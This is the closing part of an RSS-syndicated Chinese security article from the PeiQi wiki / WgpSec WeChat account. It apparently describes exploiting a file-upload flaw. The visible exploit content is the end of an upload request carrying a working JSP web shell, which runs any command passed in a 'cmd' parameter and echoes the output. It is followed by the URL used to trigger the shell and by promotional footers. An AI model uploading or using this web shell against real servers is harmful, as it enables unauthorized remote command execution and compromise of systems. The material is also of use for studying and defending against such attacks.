26px;">&lt;<span style="color: #e45649;line-height: 26px;">%</span><br/>    <span style="color: #986801;line-height: 26px;">String</span> <span style="color: #986801;line-height: 26px;">cmd</span> = <span style="color: #50a14f;line-height: 26px;">request.getParameter(</span>&#34;<span style="color: #986801;line-height: 26px;">cmd</span>&#34;);<br/>    <span style="color: #986801;line-height: 26px;">String</span> <span style="color: #986801;line-height: 26px;">output</span> = <span style="color: #50a14f;line-height: 26px;">&#34;&#34;</span>;<br/>    <span style="color: #986801;line-height: 26px;">if</span>(<span style="color: #986801;line-height: 26px;">cmd</span> != <span style="color: #50a14f;line-height: 26px;">null)</span> {<br/>        <span style="color: #986801;line-height: 26px;">String</span> <span style="color: #986801;line-height: 26px;">s</span> = <span style="color: #50a14f;line-height: 26px;">null;</span><br/>        <span style="color: #986801;line-height: 26px;">try</span> {<br/>            <span style="color: #986801;line-height: 26px;">Process</span> <span style="color: #986801;line-height: 26px;">p</span> = <span style="color: #50a14f;line-height: 26px;">Runtime.getRuntime().exec(cmd,null,null);</span><br/>            <span style="color: #986801;line-height: 26px;">BufferedReader</span> <span style="color: #986801;line-height: 26px;">sI</span> = <span style="color: #50a14f;line-height: 26px;">new</span> <span style="color: #986801;line-height: 26px;">BufferedReader</span>(<span style="color: #986801;line-height: 26px;">new</span><br/><span style="color: #986801;line-height: 26px;">InputStreamReader</span>(<span style="color: #986801;line-height: 26px;">p.getInputStream</span>()));<br/>            <span style="color: #986801;line-height: 26px;">while</span>((<span style="color: #986801;line-height: 26px;">s</span> = <span style="color: #50a14f;line-height: 26px;">sI.readLine())</span> != <span style="color: #50a14f;line-height: 26px;">null)</span> { <span style="color: #986801;line-height: 26px;">output</span> += <span style="color: #50a14f;line-height: 26px;">s+</span>&#34;&lt;/<span style="color: #986801;line-height: 26px;">br</span>&gt;</span>&#34;; }<br/>        }  catch(IOException e) {   e.printStackTrace();   }<br/>    }<br/>%&gt;<br/>        <span style="line-height: 26px;">&lt;<span style="color: #e45649;line-height: 26px;">pre</span>&gt;&lt;<span style="color: #e45649;line-height: 26px;">%=output</span> %&gt;&lt;/<span style="color: #e45649;line-height: 26px;">pre</span>&gt;</span><br/>--4ef9f369a86bfaadf5ec3177278d49c0--<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="252" data-backw="457" data-ratio="0.551511758118701" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3572" src="https://wechat2rss.xlab.app/img-proxy/?k=b1a3f447&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el5Tok5vz2usdSNcW1T4PC5rBcjRvhpsuGx7JybDQQFISjXIkkRzYg5W2j3vxYAsd5WxIl5FGxjNMA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">访问上传的文件，<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/authenticationendpoint/xxx.jsp?cmd=ls</code></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="163" data-backw="457" data-ratio="0.35481304693715193" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2514" src="https://wechat2rss.xlab.app/img-proxy/?k=4facc322&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el5Tok5vz2usdSNcW1T4PC5r40OeslkORnHYqjrEPnyueotazG9g1KLKFrovISzmNmmibI77dAQse2Q%2F640%3Fwx_fmt%3Dpng"/></figure></section><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关注公众号</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号<br/>想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～<br/></code></pre><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzIyMjkzMzY4Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/4LicHRMXdTzDjy8pCtpvJKBibCLXQDm14MbdlTqXYESXADHkVpL6f81Z4TVFOGQMjBjgxPpUcYnzahRhibQUdcKzQ/0?wx_fmt=png" data-nickname="WgpSec狼组安全团队" data-alias="wgpsec" data-signature="WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次，为了我们的slogan：打造信息安全乌托邦。前进！" data-from="0"></mpprofile></section><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg3NDU2MTg0Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/ibicicIH182el4k7oncstuDUYBxrtzOqAW4oGso8T29V66MANjNbTib9AIdfGoxhxNMpEhYWG8x4PxK2Yfwq2j6S0w/0?wx_fmt=png" data-nickname="PeiQi文库" data-alias="PeiQi_wiki" data-signature="乌拉乌拉！" data-from="0"></mpprofile></section><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">支持作者</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="201" data-backw="474" data-ratio="0.42394822006472493" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="618" src="https://wechat2rss.xlab.app/img-proxy/?k=8a077860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTcMBicTAqaLJky9ScIO4Rq2AI7GbNL471D07npjsanAH2s4iaZGM5L1tQ%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关于文库</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJoo5ReI8nfGomjAiafFZH2zg17bbibELaPFxsroCVKx24wsIkb6J4qeibYfZqXhoia1NOaHGPEyicCGsxEO/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">在线文库: <a href="http://wiki.peiqi.tech" target="_blank">http://wiki.peiqi.tech</a><br/>Github: <a href="https://github.com/PeiQi0/PeiQi-WIKI-Book " target="_blank">https://github.com/PeiQi0/PeiQi-WIKI-Book </a><br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="258" data-backw="474" data-ratio="0.5443322109988776" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="3564" src="https://wechat2rss.xlab.app/img-proxy/?k=98b9734f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6RVV2e7Iz0yrD7avmj6jvTz2mGLTWwwLW7B9Mib5XibKCWricFR6KaodRqLHwia5uPJgyxoQt4zT6e0g%2F640%3Fwx_fmt%3Dpng"/></figure></section>



<p><a href="http://wiki.peiqi.tech">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=00f85e3b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247492764%26idx%3D1%26sn%3D997be5ac6084005b7cbcd7e390a2d005%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 25 Apr 2022 11:06:00 +0800</pubDate>
    </item>
  </channel>
</rss>